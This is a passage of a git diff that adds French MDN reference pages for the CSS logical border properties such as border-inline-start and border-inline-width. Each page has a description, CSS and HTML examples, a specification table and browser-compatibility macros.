+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-rl;
+  border-inline-end: 5px dashed blue;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-end", "border-inline-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-inline-end")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top")}},</li>
+   <li>{{cssxref("border-right")}},</li>
+   <li>{{cssxref("border-bottom")}},</li>
+   <li>{{cssxref("border-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-inline-start-color/index.html b/files/fr/web/css/border-inline-start-color/index.html
new file mode 100644
index 0000000000..aadf962104
--- /dev/null
+++ b/files/fr/web/css/border-inline-start-color/index.html
@@ -0,0 +1,112 @@
+---
+title: border-inline-start-color
+slug: Web/CSS/border-inline-start-color
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-inline-start-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-inline-start-color</code></strong> définit la couleur de la bordure pour le côté du début de l'élément orienté dans l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-start-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est à rapprocher des autres propriétés logiques permettant de définir les couleurs de la bordure d'un élément :</p>
+
+<ul>
+ <li>{{cssxref("border-block-start-color")}},</li>
+ <li>{{cssxref("border-block-end-color")}},</li>
+ <li>{{cssxref("border-inline-end-color")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-inline-start-color: red;
+border-inline-start-color: #fffff;
+border-inline-start-color: rgb(200, 0, 0);
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-color'&gt;</code></dt>
+ <dd>La couleur de la bordure, voir {{cssxref("border-color")}} et {{cssxref("&lt;color&gt;")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-inline-start-color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-start-color", "border-inline-start-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-inline-start-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-color")}},</li>
+   <li>{{cssxref("border-right-color")}},</li>
+   <li>{{cssxref("border-bottom-color")}},</li>
+   <li>{{cssxref("border-left-color")}}.</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-inline-start-style/index.html b/files/fr/web/css/border-inline-start-style/index.html
new file mode 100644
index 0000000000..b09e1dad61
--- /dev/null
+++ b/files/fr/web/css/border-inline-start-style/index.html
@@ -0,0 +1,112 @@
+---
+title: border-inline-start-style
+slug: Web/CSS/border-inline-start-style
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-inline-start-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-inline-start-style</code></strong> définit le style de la bordure utilisé pour le côté du début de l'élément dans l'axe de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-start-style.html")}}</div>
+
+
+
+<p>Les autres propriétés logiques permettant de définir le style de la bordure sont les suivantes :</p>
+
+<ul>
+ <li>{{cssxref("border-block-start-style")}}</li>
+ <li>{{cssxref("border-block-end-style")}}</li>
+ <li>{{cssxref("border-inline-end-style")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé<em> */</em>
+border-inline-start-style: dashed;
+border-inline-start-style: dotted;
+border-inline-start-style: groove;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style de la ligne utilisé pour la bordure, voir {{cssxref("border-style")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-inline-start-style: dashed;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-start-style", "border-inline-start-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-inline-start-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-style")}},</li>
+   <li>{{cssxref("border-right-style")}},</li>
+   <li>{{cssxref("border-bottom-style")}},</li>
+   <li>{{cssxref("border-left-style")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-inline-start-width/index.html b/files/fr/web/css/border-inline-start-width/index.html
new file mode 100644
index 0000000000..89a5e39ca6
--- /dev/null
+++ b/files/fr/web/css/border-inline-start-width/index.html
@@ -0,0 +1,107 @@
+---
+title: border-inline-start-width
+slug: Web/CSS/border-inline-start-width
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-inline-start-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-inline-start-width</code></strong> définit la largeur de la bordure pour le côté du début « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à  {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-start-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété logique est à rapprocher des autres propriétés logiques {{cssxref("border-block-start-width")}}, {{cssxref("border-block-end-width")}} et {{cssxref("border-inline-end-width")}} qui permettent de définir la largeur de la bordure pour les différents côtés de l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+border-inline-start-width: 5px;
+border-inline-start-width: thick;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>La largeur de la bordure, voir {{cssxref("border-width")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-inline-start-width: 5px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-start-width", "border-inline-start-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-inline-start-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-width")}}</li>
+   <li>{{cssxref("border-right-width")}}</li>
+   <li>{{cssxref("border-bottom-width")}}</li>
+   <li>{{cssxref("border-left-width")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-inline-start/index.html b/files/fr/web/css/border-inline-start/index.html
new file mode 100644
index 0000000000..d829e716ec
--- /dev/null
+++ b/files/fr/web/css/border-inline-start/index.html
@@ -0,0 +1,119 @@
+---
+title: border-inline-start
+slug: Web/CSS/border-inline-start
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-inline-start
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété<strong> <code>border-inline-start</code></strong> est une propriété raccourcie qui permet de définir la bordure d'un élément pour le côté correspondant au début de l'élément dans le sens de lecture. Elle peut être utilisée pour définir les valeurs de {{cssxref("border-inline-start-width")}}, {{cssxref("border-inline-start-style")}} et {{cssxref("border-inline-start-color")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-start.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété logique correspond à l'une des propriété physique équivalente selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} ou {{cssxref("border-left")}} selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<p>On peut rapprocher cette propriété des autres propriétés logiques raccourcies définissant les bordures des autres côtés :</p>
+
+<ul>
+ <li>{{cssxref("border-block-start")}},</li>
+ <li>{{cssxref("border-block-end")}},</li>
+ <li>{{cssxref("border-inline-end")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-inline-start: 1px;
+border-inline-start: 2px dotted;
+border-inline-start: medium dashed green;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Une ou plusieurs valeurs parmi les suivantes, dans n'importe quel ordre :</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>La largeur de la bordure, voir {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style utilisé pour la ligne de la bordure sur ce côté, voir {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>La couleur utilisé pour la bordure sur ce côté, voir {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-rl;
+  border-inline-start: 5px dashed blue;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-start", "border-inline-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-inline-start")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top")}},</li>
+   <li>{{cssxref("border-right")}},</li>
+   <li>{{cssxref("border-bottom")}},</li>
+   <li>{{cssxref("border-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-inline-style/index.html b/files/fr/web/css/border-inline-style/index.html
new file mode 100644
index 0000000000..1455b07238
--- /dev/null
+++ b/files/fr/web/css/border-inline-style/index.html
@@ -0,0 +1,103 @@
+---
+title: border-inline-style
+slug: Web/CSS/border-inline-style
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-inline-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété<strong> <code>border-inline-style</code></strong> permet de définir le style pour la bordure sur les côtés d'un élément qui correspondent à l'axe en ligne. Cette propriété logique correspond à différentes propriétés physiques selon le mode d'écriture, la direction et l'orientation du texte. Autrement dit, cette propriété correspond à {{cssxref("border-top-style")}} et {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} et {{cssxref("border-right-style")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de type &lt;'border-style'&gt; */
+border-inline-style: dashed;
+border-inline-style: dotted;
+border-inline-style: groove;
+</pre>
+
+<p>Pour les autres côtés, la bordure peut être mise en forme grâce à la propriété {{cssxref("border-block-style")}} qui définit {{cssxref("border-block-start-style")}} et {{cssxref("border-block-end-style")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeur">Valeur</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style de la ligne pour la bordure. Voir {{ cssxref("border-style") }}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-inline-style: dashed;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-style", "border-inline-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-inline-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques qui correspondent à cette propriété logique :
+  <ul>
+   <li>{{cssxref("border-top-style")}},</li>
+   <li>{{cssxref("border-right-style")}},</li>
+   <li>{{cssxref("border-bottom-style")}},</li>
+   <li>{{cssxref("border-left-style")}}.</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-inline-width/index.html b/files/fr/web/css/border-inline-width/index.html
new file mode 100644
index 0000000000..bb3fb70daf
--- /dev/null
+++ b/files/fr/web/css/border-inline-width/index.html
@@ -0,0 +1,96 @@
+---
+title: border-inline-width
+slug: Web/CSS/border-inline-width
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-inline-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-inline-width</code></strong> définit la largeur de la bordure sur les côtés d'un élément sur les côtés de l'axe en ligne. Cette propriété logique peut correspondre à différentes propriétés physiques selon le mode d'écriture, la direction et l'orientation du texte. Autrement dit, cette propriété correspond à {{cssxref("border-top-width")}} et {{cssxref("border-bottom-width")}} ou à {{cssxref("border-left-width")}} et {{cssxref("border-right-width")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de type &lt;'border-width'&gt; */
+border-inline-width: 5px 10px;
+border-inline-width: 5px;
+border-inline-width: thick;
+</pre>
+
+<p>The border width in the other dimension can be set with {{cssxref("border-block-width")}}, which sets {{cssxref("border-block-start-width")}}, and {{cssxref("border-block-end-width")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeur">Valeur</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>La largeur de la bordure. Voir {{ cssxref("border-width") }}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-inline-width: 5px 10px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-width", "border-block-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-block-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques qui peuvent correspondre à cette propriété logique {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, and {{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-inline/index.html b/files/fr/web/css/border-inline/index.html
new file mode 100644
index 0000000000..3360d5b1c4
--- /dev/null
+++ b/files/fr/web/css/border-inline/index.html
@@ -0,0 +1,113 @@
+---
+title: border-inline
+slug: Web/CSS/border-inline
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-inline
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-inline</code></strong> est une <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">propriété raccourcie</a> qui permet de paramétrer les différentes propriétés logiques relatives à la bordure sur l'axe en ligne.</p>
+
+<pre class="brush:css no-line-numbers">border-inline: 1px;
+border-inline: 2px dotted;
+border-inline: medium dashed blue;
+</pre>
+
+<p><code>border-inline</code> peut être utilisée afin de définir une ou plusieurs propriétés parmi {{cssxref("border-inline-width")}}, {{cssxref("border-inline-style")}} et {{cssxref("border-inline-color")}}. La bordure est donc paramétrée de la même façon pour le début et la fin de l'axe de en ligne. Les propriétés physiques correspondantes dépendront du mode d'écriture, de la direction et de l'orientation du texte. Autrement dit, cette propriété peut correspondre à {{cssxref("border-top")}} et {{cssxref("border-bottom")}} ou à {{cssxref("border-right")}} et {{cssxref("border-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<p>Les bordures sur l'autre dimension peuvent être définies grâce à {{cssxref("border-block")}}, (qui est la proprété raccourcie pour {{cssxref("border-block-start")}} et {{cssxref("border-block-end")}}).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>border-inline</code> peut être utilisée avec une ou plusieurs de ces valeurs, quel que soit l'ordre.</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>La largeur de la bordure. Voir {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style pour la ligne de la bordure. Voir {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>La couleur de la bordure. Voir {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p> </p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exempleTexte {
+  writing-mode: vertical-rl;
+  border-inline: 5px dashed blue;
+}</pre>
+
+<p> </p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exempleTexte"&gt;Texte exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
